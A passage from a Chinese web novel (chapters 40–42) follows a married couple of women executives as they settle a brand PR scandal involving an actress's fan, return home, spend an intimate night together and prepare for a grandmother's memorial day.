就真的在酒店里要了她。 今天时间太晚不说, 谢思虞开了一路的车, 她原本就不该闹她的。 轻轻握住对方的手,牵着她起身往卧室方向走:“先睡觉, 明天还有硬仗要打。” 谢思虞微垂的睫羽颤了又颤,抿着唇没说话,跟着陆言卿来到床边,她先躺进被窝里。 陆言卿从行李箱拿了睡衣进入浴室,很快换好衣服出来。 掀开被子躺进被窝,关掉房间的照明灯,只留了床头一盏小灯。 发现谢思虞背对着她侧身躺着,于是从后面拥住了对方,温热柔软的身躯紧紧贴着她的后背,在她颈后落下轻柔的一个吻:“阿虞别胡思乱想,乖乖闭上眼睛睡觉。” 谢思虞心口一悸,抓住陆言卿的手,小声狡辩:“我才没有胡思乱想。” 光线昏暗的房间。 陆言卿笑了笑,假装没有看见谢思虞的害羞和难为情,环着她纤细的腰肢,下巴温柔地搁在她发顶:“阿虞晚安。” 谢思虞闻到陆言卿身上淡淡的橙花香,明明她们用的沐浴露是同一个味道,可她就是觉得无比安心。 其实她心里很清楚,和沐浴露没有关系,仅仅是因为陆言卿这个人而已。 时间悄然流逝,她也慢慢闭上了眼睛。 然而在另一座城市,跟这次事件有关的苏蔓却没有丝毫睡意。 R市。 《神殒九霄》剧组在赶进度,苏蔓这段时间每晚都是将近10点才收工,今天傍晚下暴雨,没办法继续拍摄,她才提前收工。 结果回到宾馆就接到经纪人电话,说她代言的奢侈品「星寰腕表」上了热搜榜。 了解事情前因后果,她直接气笑了。 粉丝“替”她打抱不平,在门店讥讽顾客,导致对方把视频放在网上。 短短时间里,她就被无数黑粉泼脏水。 这算什么事? 粉丝闹事,她受到牵连。 「公司公关部门已经在处理,你要是觉得心烦就暂时不要上网。」 「如果失去星寰这款奢侈品腕表的代言,对你后续代言其他品牌也会有一定的影响。」 以往她不是没有遇到过这种事,苏蔓的情绪还算稳定,洗漱后躺床上休息了一个多小时。 黄凌按响门铃,她才慢慢悠悠从床上爬起来用晚餐。 明天上午拍摄的戏比较重要,她重新温习剧本,背诵台词。 不知不觉,床头的电子钟表显示23:35分,苏蔓准备睡觉,这时邹筱打来电话。 她欣喜不已,然而电话接起来,对方并不关心她拍戏累不累,在R市待这么多天,有没有水土不服身体难受。 听筒那头的人开口就是冷冰冰的质问。 「星寰腕表店员是你的粉丝,她公然讥讽顾客,这件事跟你没关系吧?」 「前几天我就提醒过你,把心思放在拍戏上,否则——即便是我,也帮不了你。」 苏蔓怔愣在原地,嘴角挂着的笑一点点沉下去,整个人好像被泼了一盆冷水,从头冷到脚。 先不说这件事跟她有没有关系,邹筱作为她的女朋友,难道不应该先关心她? 苏蔓指尖无意识扣着手机金属边框,心里好像破了道口子,泠冽的寒风呼呼往里灌。 不是疼,就是特别的心酸难受。 好几次张嘴,竟然不知道该说点什么好。 「怎么不说话,真的跟你有关?」 「苏蔓你是不是把我的话……」 苏蔓看向落地窗外,城市霓虹灯绚烂梦幻,她哑声打断邹筱:“不是我。” 她是有多蠢,才会做这种吃力不讨好的事情。 邹筱对她,就没有一点信任吗? 鼻尖酸涩,眼眶很快涌上来热气,她强忍着情绪,嗓音很轻:“我也是从林姐口中得知这件事,你……在榕城?” “我很想你。” 听筒那边邹筱沉默下来。 大概过了一分钟,她才出声:「抱歉蔓蔓,误会你了。我在S市出差,你安心拍戏,剩下的事情我会处理,如果有需要我会再联系你。」 短暂的通话结束。 苏蔓不是傻子,邹筱明显在逃避她的感情,那些在眼眶里打转的泪水终于还是滑落下来。 她在外人面前表现得如何坚强,终究也是女人,莫名被舆论缠身,她已经觉得委屈了。 最后被女朋友误会,对方就只有一句轻飘飘的抱歉? 如果说刚才是心酸难受,那现在就是伤心无助。 脑中回忆她和邹筱交往相处的点滴,苏蔓愈发的迷茫恍惚。 那个人,真的喜欢自己吗? 今晚注定无眠- 次日清晨,07:25分。 A市的天空灰蒙蒙的,俨然一副风雨欲来的模样。 陆言卿醒过来,揉了揉惺忪的眼睛,旁边不见谢思虞的身影,然而她躺过的地方还是温热的。 洗手间方向传来哗哗的水声,应该是在洗漱。 「陆总,我们调取了鹿晓嫣进入商城的所有监控画面,功夫不负有心人,总算找到她手提包藏微型摄像机的事情。」 「陆总,今早公关部那边接到苏蔓助理打来的电话,对方表示愿意配合我们发道歉视频,唯一的条件就是亲自跟您谈。」 昨晚陆言卿的手机放在床头柜上充电,她拔掉充电线,锁屏上方有两条信息,第一条来自夏宁,第二条来自助理魏洁。 “卿卿你醒了?” 谢思虞从洗手间出来,身上吊带睡裙已经换下来了,穿着牛仔裤,白色圆领内搭,外面是一件藕粉色的西装外套。 低马尾,淡妆。 优雅又干练。 陆言卿放下手机,坐在床边,对着谢思虞伸出双臂,眉眼温柔,开口嗓音懒懒的,尾音上扬:“阿虞过来,我要抱一下。” 谢思虞看向陆言卿的目光里满是宠溺,手中吊带裙放在床尾,走过去抱住她。 任由某人在她怀里轻蹭。 笑起来眉眼弯成月牙,低头在陆言卿发顶落下一个轻如羽毛的吻:“卿卿快去换衣服吧,刚商场夏总打电话过来,邀请我们吃早餐。” 8:15分。 陆言卿和谢思虞来到商城,夏宁已经在大门口等待,目光在两人十指紧扣的手上停留两秒,脸上始终挂着温和的笑:“陆总,谢副总,商城5楼有一家早餐店,味道相当不错,我带你们过去尝尝。” 电梯对面一家名为「生煎馆」的早餐店,商城开门才十几分钟,店内餐桌前坐满了客人。 前台四五名外卖员等着拿外卖。 “夏总您过来了?这边给您留了空位。”生煎馆老板还在前台帮忙打包,看到夏宁急忙出来迎接。 很快三人来到一张靠落地窗的餐桌,旁边有屏风遮挡,大概是老板临时准备的。 等她们落座,老板亲自拿着菜单过来:“您看要吃点什么?” 同一时间,店里员工把特色小菜摆放在了餐桌上。 虽然没有去过陆氏集团总部,但陆言卿和谢思虞的照片,老板在网上看到过,而且能让夏总亲自接待的人,身份也足够尊贵。 “那三鲜、虾仁、白菜馅儿的生煎水饺各来半份。” 陆言卿点菜时手指在菜单上划拉,最后停在了南瓜粥的位置,“要一份南瓜粥。” 说完把菜单递给对面的夏宁:“夏总,你随意。” 话落目光在几道凉拌小菜上扫了眼,把桌上海带丝推到谢思虞那边,这是她早上喝粥必吃的小菜。 夏宁也没有客气,她点的跟以往一样,白菜猪肉馅生煎搭配小米粥。 谢思虞注意到陆言卿推海带丝的小动作,眼角微弯,肩膀往她那边靠过去,小声问:“怎么只要一份南瓜粥?” 餐桌下方,陆言卿握住谢思虞的手,指腹轻轻磨挲她的掌心,温柔道:“我要了三个口味的生煎水饺,阿虞都尝尝味道。” 谢思虞笑着点点头,也没有再纠结南瓜粥的事情。 点餐没几分钟,店员就将她们要的生煎水饺端上来,餐盘里饺子个个精致可爱,底部被煎得焦黄,看起来就很有食欲。 谢思虞夹起一个虾仁馅的饺子往醋碟里蘸,然后放到陆言卿面前的餐碟里:“第一个给卿卿。” “谢谢,阿虞也吃。” 陆言卿夹起餐碟里的生煎水饺,低头吹了吹才咬一口,饺皮酥脆,馅料鲜美滑嫩。 果然味道好才是最好的口碑。 落地窗外天色越来越暗。 陆言卿几人早餐还未吃完,就下起了淅淅沥沥的小雨,楼下街道两侧绿化带里的三角梅,在风中摇曳,玫红色的花瓣经不住风吹雨打,飘落不少在地上。 “吃饱了?” 陆言卿见谢思虞放下勺子,碗里的南瓜粥还剩大半,餐盘里三个口味的生煎水饺,她分别吃了一个。 倒是那盘凉拌海带丝,被她吃了不少。 谢思虞拿纸巾擦嘴,含含糊糊“嗯”了声:“有点太多了。” “是你吃的太少。” 陆言卿很自然地拿过谢思虞面前的碗,直接用碗里的勺子舀南瓜粥喝,她觉得生煎水饺还不错,但谢思虞吃的不多,显然是不喜欢。 「要一份南瓜粥。」 谢思虞见陆言卿的举动,才恍然明白她为什么只要一碗粥,正是因为有外人在场,她一直在克制自己的情绪。 只是此刻,她红的滴血的耳朵,暴露了她的害羞和难为情。 餐桌对面夏宁握筷子的手顿了顿。 视线从两人身上移开,假装没有看到刚才那幕,低下头加快了用餐速度。 前几天陆言卿朋友圈的打卡照片,她不是没有看到,原以为是她故意作秀。 直到此时此刻。 她看到陆言卿看谢思虞温柔似水的眼神,她记得对方的喜爱,甚至吃对方剩下的粥。 没有丝毫表演的成分,全都自然而然。 才明白传言不可信。 陆言卿对谢思虞的在意,只要眼睛没瞎都能看出来。 二十分钟后。 夏宁带着陆言卿她们前往一楼监控室,电梯下降过程中,她表示:“「星寰腕表」门店店长已经将李悦辞退,我们找到鹿晓嫣在手提包内安装微型摄像机的画面。” 昨晚的事情其实并不复杂,鹿晓嫣和朋友在商城二楼逛女装店时,不小心被一个6岁的女孩撞到,她手提包摔落在地上,好巧不巧把微型摄像机摔了出来。 那一刻,两人脸上的慌张显而易见。 只要找到鹿晓嫣,拿出她们手中的“证据”,要求她删除网上的视频,应该难度不大。 因为她本身也是美妆博主。 如果闹的太难看,肯定会失去大量的粉丝。 损人不利己。 鹿晓嫣要是足够聪明,就知道该如何选。 “正好法务部也收集到鹿晓嫣半年前医美纠纷案的记录。” 美妆博主,却有医美纠纷。 谢思虞把今早刘瑶发给她的压缩包转发给夏宁。 夏宁把手机递给身后的助理,想到什么,看向陆言卿的目光有点复杂:“鹿晓嫣这边的问题解决,那苏影后那边……” 陆言卿解锁手机屏幕,打开半个小时前魏洁发给她的数据:“热搜每降一位,品牌违约金减少5%,想要挽回形象,苏蔓必须发道歉视频。” 李悦是苏蔓粉丝,这是不争的事实。 谢思虞微不可查地蹙了下眉,尔后对夏宁说:“苏蔓那边集团公关部的人会对接,还请夏总尽快联系鹿晓嫣删除视频。” “另外,麻烦夏总亲自转告「星寰腕表」门店店长,这次突发事件从品牌质保金扣除100万用于危机公关。” 店员对顾客出言讥讽,归根结底还是店长对店员疏于管理,要是能把相关制度写进招聘合同里,并实施惩罚和奖励措施,就能有效避免这种事的发生。 夏宁早就见识过谢思虞的雷霆手段,眼下也难免唏嘘。 不过脸上不敢露出半分异样:“谢副总放心,经此一事,我会召开会议,让商城所有门店的员工都引以为戒。” 上午11点。 陆言卿和谢思虞回到酒店。 刚刷卡进入房间,包里的手机就响了起来,屏幕上显示匿名来电。 “怎么不接?” 玄关。 谢思虞换上拖鞋,脱下的外套挂在衣帽架上,扭头见某人盯着手机屏幕发呆,不免好奇把头凑过去。 来电没有备注。 是不认识的人? 直到响铃结束,陆言卿也没有接听,把手机放在一旁鞋柜上,转身抱住谢思虞,由于她还穿着高跟鞋,身高比某人要高一点。 她低头亲了亲谢思虞的嘴角,正要说话,手机第二次响起来。 无奈叹息一声:“应该是苏蔓打来的电话。” 苏蔓。 谢思虞下意识抿紧了唇,眼底目光深邃且复杂,片刻,她从陆言卿怀里退出来,嘴角勾起浅笑:“卿卿不打算接听?” “清晨我就看到了刘瑶的信息,她说苏蔓愿意配合我们发道歉视频,唯一的条件就是跟我聊细节。” 陆言卿脱掉脚上的鞋子,在玄关软凳上坐下来,拉着谢思虞坐在她旁边,当着她的面接听电话,并按了免提键。 「卿卿,我们好歹曾经交往过,你如今连我的电话都不愿意接听吗?」 “上次在餐厅我就提醒过苏小姐,注意你的称呼,如果你打电话来是因为「星寰」的事,那你跟我的妻子聊。” 陆言卿嗓音温和却透着疏离,一副公事公办的模样,说完就把手机塞到谢思虞手里,低头凑到她耳畔,很轻很温柔开口:“阿虞可不要误会,我跟她早就没有关系了。” 谢思虞知道陆言卿是在意她的感受。 心里仅剩那点忧郁也荡然无存。 眼眸里染上轻浅的笑意,拿着对方的手机站起身,关掉免提功能,来到落地窗前,声线平静,透着一丝凉意:“苏小姐,你想怎么聊?” 陆言卿讪讪地摸了摸鼻尖,不再去管谢思虞和苏蔓如何沟通,明天就是阿虞外婆的忌日,她们最好今天下午就开车回榕城。 A市这边剩下的事夏宁就能处理,她是商场总负责人,没有点手段和城府也做不到这个位置。 卧室。 陆言卿先是将洗手间的毛巾牙刷等东西装进收纳袋里,紧接着整理床上她们换下来的衣服。 等她把叠好的衣服放进行李箱,落地窗前谢思虞也挂断了电话。 “处理好了。” 谢思虞把手机递给陆言卿。 私心使然,她一直盯着对方的眼睛,确保没有半分不舍得的情绪,才松了口气。 陆言卿解锁屏幕,再次打开通话记录,点击苏蔓的电话,原本想要删除的,犹豫片刻点击页面下方的屏蔽来电按钮。 她们早都是过去式,即便是有不得已的理由需要联系,她也希望谢思虞在场。 不想谢思虞误会。 也舍不得她因为这种不重要的小事不开心。 拉上行李箱的拉链,陆言卿微微仰头看着谢思虞:“那我们吃完午餐休息半个小时,下午就回榕城。” 谢思虞自然没有忘记明天是什么日子,轻轻点头:“好。” A市下雨,榕城却是艳阳天。 下午5点,两人抵达江海澜苑,回程陆言卿和谢思虞换着开车,倒也不是很累。 中午就通知阿姨过来公寓打扫卫生。 客厅玻璃花瓶插着几支粉色芍药花,花瓣上还挂着晶莹的水珠。 陆言卿半弯着腰拨弄芍药花瓣,凑近了闻,淡淡的花香钻进鼻尖,清新淡雅。 “喝点温水?” 谢思虞递给陆言卿一杯温水。 陆言卿接过来喝了大半杯,杯子放在茶几上,她歪头问:“家里的花都是阿姨随便挑选的吗?” 有时是向日葵,有时是橙色芭比和洋甘菊。 谢思虞指尖撩起陆言卿散落的碎发别在耳后,眉眼含着温柔的笑:“嗯,阿姨路过花店,看到新鲜的花就会买一束。” 三年来,这诺大的公寓只有她一个人住,她从未在家里煮过饭,阿姨也是趁她上班不在家时过来打扫卫生。 或许是看屋里太过冷清,才会买一束鲜花插着。 陆言卿握住谢思虞的手,听到她这般说,心里头莫名揪了下。 之前或许不知道原因,但眼下她明白。 那是心疼。 “以后家里的花我来买。” 谢思虞轻轻抚平陆言卿微蹙的眉心,弯腰低头亲了亲她的鼻尖,眼神温柔:“好啊,那就辛苦卿卿了。” 橘黄色的夕阳穿过玻璃洒进屋里。 正好有一束阳光落在谢思虞脸上,从她的角度看过去,能清晰看到对方卷翘的睫毛,宛如小扇子,在她眼睑处投下阴影。 “阿虞,你好漂亮呀。” 闻言。 谢思虞勾唇一笑,目光明亮又温柔:“卿卿也很美。” 陆言卿站起身,盯着谢思虞涂抹了唇釉的唇瓣,心神荡漾,把人捞进怀里,亲了亲她的唇。 想到公寓里没有指套,于是拿起茶几上手机打开了外卖平台。 “冰箱有食材,卿卿想吃什么?” 谢思虞注意到陆言卿打开了外卖平台,以为她是肚子饿了,便问她想吃什么。 挑选款式,填写公寓地址和联系方式,最后付款下单。 陆言卿听到谢思虞的话,凑到她耳畔:“确实是饿了,不过是吃阿虞。” 说完也不顾谢思虞眼中的愕然,牵着她的手往卧室方向走。 推门进入房间,不是朝着那张2米宽的大床走去,而是浴室。 40-50 第41章 卿卿很坏 晚上7点。 卧室的窗帘都拉上了, 屋内没有开照明灯,只有床头的夜灯开着,氛围更加暧昧, 满屋子都是甜腻的橙花香。 谢思虞穿着睡裙躺在柔软的大床上,把羽绒被抱在胸前,发尾还沾着从浴室带出来的湿意, 此时的她眼尾泛着潋滟的水汽,漂亮的脸上更是透着诱人的薄红。 想到刚才在浴室, 浴巾被陆言卿叠起来放在地上,她跪在上面亲吻她的画面,心便再次砰砰狂跳起来, 好似下一秒就要呼之欲出。 不用照镜子都知道, 她脸和脖子肯定都红透了,害羞到无以复加。 卿卿, 竟然亲吻她那里。 “阿虞害羞了?” 陆言卿拉上窗帘来到床边,看到谢思虞把自己捂的严严实实,眼底染上温柔的笑意。 拖鞋,上床,跪着来到她身边,双臂撑在她两侧,缓缓俯身低头, 直到两人鼻尖亲密无间的抵在一起。 眉眼含笑,要碰不碰轻轻啄吻着她的唇瓣, 分明是故意撩拨。 属于陆言卿身上山茶花的淡香将她整个人包裹住, 谢思虞大脑又变得不太清醒, 长睫颤抖的厉害,心跳更是如鼓点般密集。 那双盛满了柔情的眸子注视着陆言卿, 尾音裹着糖蜜一样的甜,也不难听出其中的羞赧:“卿卿别这样……” “哪样?” 陆言卿握住谢思虞柔软的指尖,凑过去在她唇上轻啄一下,又来到她耳畔呵气如兰,“难道说阿虞不喜欢我这样亲你?” 轻轻蹭了蹭谢思虞的颈窝,陆言卿搂紧她的腰,故作伤心:“可上次阿虞明明说喜欢的。” 谢思虞羞的满脸通红,听着某人颠倒黑白的话,怔愣地瞪大眼睛。 明明知道陆言卿是故意捉弄她,还是禁不住心悸,双臂突然攀上她的颈脖。 “卿卿很坏。” 说完就含住陆言卿的下唇,反复吮吸,又时而轻咬,她没有什么经验可谈,就是依葫芦画瓢。 回忆半个小时前在浴室,某人把她压在浴缸边缘缱绻湿吻。 柔软的舌尖灵巧地探入陆言卿嘴巴里,勾着她的舌共舞,着迷一般汲取她的甘甜。 直到彼此气息相融,分不出你我。 两人唇瓣相互吮吸亲吻时发出细碎的响声,在寂静的卧室格外清晰,光是听着,就令人脸红心跳。 陆言卿呼吸不稳,带着明显的喘,眼底神色晦暗且带着情-欲,不知道什么时候变成了她平躺着,而谢思虞趴在她身上的姿势。 “阿虞累吗?” 陆言卿搂紧怀里的人,温柔地吻着谢思虞鬓角。 谢思虞原本透着自然粉色的唇瓣早已变得嫣红诱人,听到陆言卿的话,布满潋滟水光的眼眸里露出一丝不解,稍稍抬头便撞进对方沾染了欲念的眼眸中。 明白她的意思后,那种带着细微电流的酥麻感直击灵魂的瞬间,再次让她心脏重重地一跳。 静默片刻,主动解开睡裙的肩带,红着脸埋进陆言卿肩窝里,又羞又软的嗓音响起:“那卿卿要轻点。” 谢思虞一个动作,一个眼神。 就让陆言卿溃不成军,心脏柔软的不成样子,眼睛里的温柔快要溢出水来。 扶着谢思虞坐起身来,双臂依然搂着她的腰肢,因为睡裙肩上的带子解开一边,随着她起身的动作,露出锁骨下方的旖旎风光。 陆言卿刚才在浴室见过,此刻依然动情不已,一个一个温柔至极的吻,落在谢思虞肩头,锁骨,最后一路往下。 缠绵厮磨,流连忘返。 20:15分。 浴室传来哗哗的水声,是陆言卿在洗澡,大床上谢思虞把脸埋进枕头里,感觉嗓子快要冒火般难受,稍稍动一下双腿,腿根就酸涩的厉害。 “说好会轻点的……” 谢思虞嗓音又软又哑。 第一次觉得不能相信陆言卿在床上说的话,两人缠绵结束有一段时间,她的脸还是泛着绯意,心也跳的十分紊乱。 虽然害羞,却也欢悦。 今晚,她成为了陆言卿名正言顺的妻子。 “阿虞,起来吃晚餐。” 陆言卿洗完澡从浴室出来,穿着睡裙,来到床边掀开被子,在谢思虞光洁的背上落下一吻。 或许是因为刚洗完澡的缘故,陆言卿的唇透着一丝丝凉意,吻在她背脊,谢思虞身体明显颤栗了一瞬。 翻身抱着被子坐起身,动作太急,腿竟然抽筋了,疼的她倒吸一口凉气。 “怎么了?” 陆言卿急忙扶着谢思虞的肩膀,垂眸见她目光闪躲,用力攥紧了胸前的被子,耳根也红的滴血。 意识到什么,眼底划过一抹歉意,低头安抚般亲了亲她的发顶,“抱歉,阿虞很疼吗?我帮你涂抹一点药膏。” 与人这般亲密无间,她也是第一次,再者谢思虞身材妙曼,玲珑有致,她一时情难自控,就忘记了分寸。 “不,不用。” 卿卿帮她那里涂药? 谢思虞眨眨眼睛,只是脑海里想象那种画面,呼吸都变得不顺畅起来,红着脸摇头,“也不是很疼。” “今晚是我们第一次,往后还有很多次,阿虞不用害羞,要是疼一定要告诉……” 谢思虞抬手捂住陆言卿的嘴巴,「往后很多次」几个字就令她心湖卷起波涛,眼神如水一般温柔,“我知道了,如果很疼我会告诉卿卿。” 随后捞起床尾的睡裙,想要躲在被子里穿,可想到她和陆言卿都已经这般亲密了,也没有矫情,背对着她开始穿睡裙。 “我帮你吧。” 陆言卿确定谢思虞不需要涂药,才真的放心下来,注意到对方坦然的小动作,不自觉弯了弯眉,她身上的真丝吊带裙是绑带设计,可以调节长短。 谢思虞松开肩上的细带,任由陆言卿帮她系好。 晚餐是陆言卿打电话订的私房菜,两菜一汤,清炒杏鲍菇,清蒸鲈鱼,香芋青菜汤,口味都比较清淡。 餐桌上。 陆言卿给谢思虞盛了小半碗米饭,又把挑过鱼刺的鱼肉放在她碗里,很认真的说:“阿虞多吃一点。” “就那么想让我长胖?” 谢思虞对上陆言卿认真的目光,忍不住轻笑出声,其实她不算特别瘦,只是胃口一向不太好,自然吃的也就不多。 陆言卿盛了半碗芋头汤放在谢思虞右手边,颇为重视:“嗯。” 明天周四,这段时间她挨着谢思虞睡觉,她似乎不用再吃安眠药,“明天还要去医院针灸吗?” 谢思虞细嚼慢咽,把嘴巴里杏鲍菇咽下去才开口:“把我目前的情况告诉余医生,看她怎么说吧。” 陆言卿喝了口汤,眨眨眼,试探性的说:“要不然今晚我们分开睡,看看你是否还会失眠?” 空气有片刻的沉寂。 谢思虞握着筷子的手紧了紧,明知道陆言卿说这话没有其他意思,可她还是不受控制的想歪了。 垂下眼睑,鸦羽般浓密的长睫颤了颤,筷子扒拉碗里的米饭,很轻的“嗯”了一声。 其实都不用验证。 她一定会失眠。 因为没有陆言卿在身边,空旷寂静的房间会令她恐慌不安。 就好像过去三年那样,闭上眼睛,就是陆言卿消失在机场检票口的画面。 她联系不上她,也不知道她去了哪里,更不知道她是否安全。 担心,焦虑,恐慌。 无时无刻不吞噬着她整个人。 三年来甚至不止一次反思。 当初的她,真的不该不择手段跟陆言卿结婚。 “阿虞?想什么呢?” 陆言卿上次在华康医院见过余医生后,也让魏洁找过相关心理学或者神经科的专家询问。 一个人失眠原因有很多。 理论上来说,失眠并不会因为某个人而有所好转。 当然了,凡事都有例外。 谢思虞继续夹碗里的鱼肉吃,脸上挂着轻浅温柔的笑:“没事,明天你要跟我一起去医院?” 陆言卿不假思索点头:“当然。” 原本上次就说要陪谢思虞去医院针灸,却因为这样那样的事情耽搁了。 晚餐结束。 陆言卿去往书房处理工作,A市夏宁在微信上联系说,表示已经联系上鹿晓嫣。 对方一开始并不想配合删除视频,直到她们拿出相关证据,鹿晓嫣为了息事宁人,才将短视频上的视频删除。 至于苏蔓那边,下午4点,她就用微博大号在网上道歉。 事已至此,「星寰腕表」亚太地区总负责人也不再追究商城责任。 陆言卿退出邮箱,注意到电脑右上角的时间,微信联系助理魏洁,明天下午她和谢思虞有事,要是各个部门有文件要签字,最好安排在上午。 从书房出来。 卧室的门紧闭着,陆言卿在门口站了几分钟,低垂的目光深邃且复杂,深呼吸几口气,强迫自己转身往次卧方向走。 22:35分。 23:40分。 00:20分。 时间一分一秒过去。 陆言卿从未有过这种度秒如年的感觉,在床上翻来覆去,根本睡不着。 明明房间里点了熏香,就是谢思虞身上的橙花香,可她就是没有半分睡意。 时间越晚,她竟愈发的清明。 叹息一声从床上坐起来,苦恼地抓了抓头发。 哪里是谢思虞离开她睡不着,分明是她习惯了那人在身侧。 掀开身上的被子,看了眼手机屏幕上的时间,01:05分。 穿着拖鞋往门口走。 很快,她轻手轻脚推开了主卧的房门。 感应到有人经过,主卧墙脚的灯次第亮起。 陆言卿小心翼翼掀开被子躺到床上,她身下的床垫明显下凹,旁边谢思虞背对着她。 很轻很轻的问:“阿虞你睡着了吗?” 右侧的人呼吸绵长,陆言卿平躺着,许久没等到对方回应,以为她已经睡着了。 然而她刚闭上眼睛,耳畔就传来谢思虞又低又哑的声音:“没有。” 陆言卿猛然睁开眼睛,心脏被不轻不重地抓了下,撑着手臂坐起来,轻轻扳过谢思虞的肩膀。 借着屋内暖黄色的夜灯,看到对方眼睛里的湿意,心脏一阵揪心般的疼,好似被针扎。 “阿虞别哭。” “我是笨蛋。” “大笨蛋。” 第42章 卿卿以后加倍补偿给我,可好? 陆言卿温柔地拭掉谢思虞眼角的泪水, 轻轻抬起她的下巴,低头含住她柔软的唇瓣,同一时间胸口泛起细细密密的疼, 一种难以言喻的情绪充斥着她整个人。 她知道,那是心疼。 今晚是她们第一次这般亲密的抵死缠绵,而她事后竟然提出分房睡。 简直, 蠢死了。 将怀里的人搂抱得更紧些,如花瓣般温柔缱绻的吻, 虔诚又珍视地落在谢思虞鼻尖,额头,开口嗓音又低又哑:“阿虞, 对不起, 我提出分房睡并没有其他意思,就是想了解你失眠的情况。” “我在次卧翻来覆去都无法入睡。” “才恍然明白, 如今是我——离不开阿虞。” 馥郁的山茶花香盈满鼻端。 谢思虞心脏像是被一只手轻轻碰了碰,原来她不是在做梦。 卷翘的长睫扇动,抬起双臂紧紧回搂着陆言卿的腰,脑袋埋在她肩颈,压抑许久的情感爆发。 眼泪夺眶而出。 止都止不住。 温热的泪水砸落在肩头,陆言卿猛然绷紧了腰背,呼吸一窒, 薄唇翕动,安抚的话到嘴边, 却显得格外苍白无力, 索性搂抱着谢思虞, 任由她将情绪发泄出来。 陆言卿自诩聪慧,头一次觉得自己是个笨蛋。 寂静无声的卧室。 谢思虞小声抽噎的声音, 像是鞭子一下一下抽打在她的心上。 是真的疼。 然而疼了才会长记性。 这种低级的错误,她绝对不会再犯第二次。 不知道时间过去多久,谢思虞慢慢冷静下来,从陆言卿怀抱里退出来,稍稍仰头看她,撞进对方满是心疼和自责的眼眸里,下意识攥紧了拳头。 觉得自己很矫情。 “我没有怪卿卿。” 谢思虞垂下眼睑,解释的话到嘴边又咽了回去,然而想到那晚在陶菀之别墅,陆言卿对她说的话,又抬眸看向她,小声道,“我只是害怕。” 她可以不那么坚强。 在这个人面前,她是可以示弱的。 陆言卿闻言心口一缩,眼神变得复杂,原本搂着谢思虞腰肢的手,转而握住对方柔软的指尖,轻轻捏了捏,似鼓励的问:“阿虞在害怕什么?” “害怕你像三年前那样,突然消失在我的世界里,哪怕我穷尽一切能力和手段都找不到你。” 之所以会失眠。 不过就是长时间焦虑不安。 一个月,两个月,半年,两年,好端端的人怎么会找不到呢? 要是在几十年前,科技和资源都匮乏的年代,谢思虞会相信,找一个人就如同大海捞针。 可在科技越来越发达的今天,到处都是电子摄像头,陆言卿就跟人间蒸发一样。 明明已经登机,却没有从那架飞机上下来。 突然穿越时空。 这种玄之又玄的事情,恐怕全世界最权威的专家都无法解释。 偏偏让陆言卿遇见了。 “我……” 谢思虞抬起手捂住陆言卿的嘴巴,冲着她莞尔一笑,嘴角扬起温和的笑:“卿卿不用再说抱歉的话,我们……错失了三年的时光,卿卿以后加倍补偿给我,可好?” 卧室里墙脚夜灯散发着轻浅的光芒。 陆言卿看着谢思虞眼中盛满破碎的水光,胸口又涨又涩,好像被一块巨大的石头压着,令她呼吸都变得艰涩起来。 闻到谢思虞身上淡淡的橙花香,突然间鼻尖泛酸,眼眶里浸染了水汽。 最终她闭了闭眼,克制且隐忍。 拿开谢思虞捂着她嘴巴的手,低头吻上对方樱粉的唇,这个吻不带任何情-欲,只有无尽的温柔与爱恋。 很快,陆言卿从谢思虞唇上离开,轻轻揉了揉她的发顶,望着她的目光坚定且温柔,郑重又凝肃的回了一个“好”字。 她想,这辈子都栽在这个人身上了。 却又甘之如饴- 第二天,3月21日。 天气预报显示阴转小雨。 因为昨天傍晚陆言卿没有节制的索要,今早6:30分谢思虞的手机闹钟响了两声,就被某人关掉。 “今天不晨跑,阿虞多睡会儿。” 陆言卿关掉闹钟把手机塞回枕头底下,重新把谢思虞捞进怀里,陪着她又躺了十分钟,确定怀里的人再次睡过去,她才轻手轻脚爬起来。 直接在睡裙外面穿了件外套,前往厨房,打开冰箱翻找一通,保鲜层有新鲜的蔬菜水果。 冷冻层也有冰鲜虾。 “冰鲜虾应该也行?” 陆言卿把冷冻层的一盒基围虾拿出来,民宿老板娘特意叮嘱过她,熬汤底一定要用活蹦乱跳的活虾。 基围虾放在料理台上,打开盒子,看到最上面一层薄薄的冰。 陆言卿眉头微蹙,静默片刻,重新把基围虾放回冰箱。 她还是下楼去公寓门口超市买活虾吧。 没有回主卧拿衣服,怕吵醒谢思虞,她们昨天从A市回来,行李箱还没来得及整理,直接从里面拿出来一套没穿过的衣服。 换好后,拿上钥匙和手机出了门。 怕耽误时间,陆言卿进入超市就直奔海鲜区,让工作人员帮她挑选半斤新鲜的活虾。 收银台结账,注意到架子上的指套,目光在上面停驻两秒。 超市种类并不多,她还是网上购买好了。 结账后拎着基围虾离开超市,袋子里的虾还在乱蹦,陆言卿再次给袋子打了个结。 没走两步路就看到花店老板娘正在整理刚到货的鲜花,旁边员工也在给香槟玫瑰打枝。 “老板,戴安娜,粉荔枝和卡罗拉玫瑰各要3支,麻烦帮我包一下。” 时间还不到7点,花店就开张。 老板娘脸上挂着热情洋溢的微笑,表示给陆言卿打8折,亲自挑选成色外观都最佳的玫瑰花,最快的速度包装。 花店门口。 陆言卿扫了墙上的二维码付款,这时一辆黑色的奔驰车从公寓开出来,停在了花店门口,看到驾驶座下来的女人,她眸光微闪。 穿黑色西装裙的女人,正是当年苏蔓劈腿的对象,听晚意透露,这人似乎是星海娱乐的副总? 她竟然也住在江海澜苑。 难怪上次会在公寓楼下碰到苏蔓。 女人应该也是要买鲜花,陆言卿稍稍侧过身体,低头看手机,正好老板娘拿着包装好的玫瑰花出来。 “谢谢。” 接过花束抱在怀里,陆言卿跟老板娘道谢后就转身离开,片刻没有停留。 而邹筱走进花店,透过玻璃门只看到陆言卿转身时的侧脸。 仅是侧脸,也第一时间认出了她的身份。 “麻烦帮我包一束黄白混合的菊花。” 邹筱跟老板娘说了自己的需求,解锁手机屏幕给谢思虞发信息。 「我在公寓门口看到陆言卿,你们什么时候回榕城的?」 「今天李婆婆忌日,她会陪你去吗?我上午去墓地祭拜,应该不会撞上你们吧?」 去年谢思虞外婆去世,她不愿意通知谢家人,就是陆家那边的长辈也瞒着,当时陆氏集团有重要的项目,谢思虞就把老人家的后事交代给她。 老人家火化那天,她看到谢思虞无声流泪,悲恸欲绝好似被全世界抛弃的孩子。 也是那个时候,她才知道原来看似无坚不摧,所向披靡的谢思虞也有脆弱易碎的一面。 虽然她和谢思虞是上下属的关系,但这么多年接触,那人愿意把至亲之人的身后事交给她来办,总归也是一种信任。 今天李婆婆忌日。 她无论如何都应该去祭拜。 十分钟后。 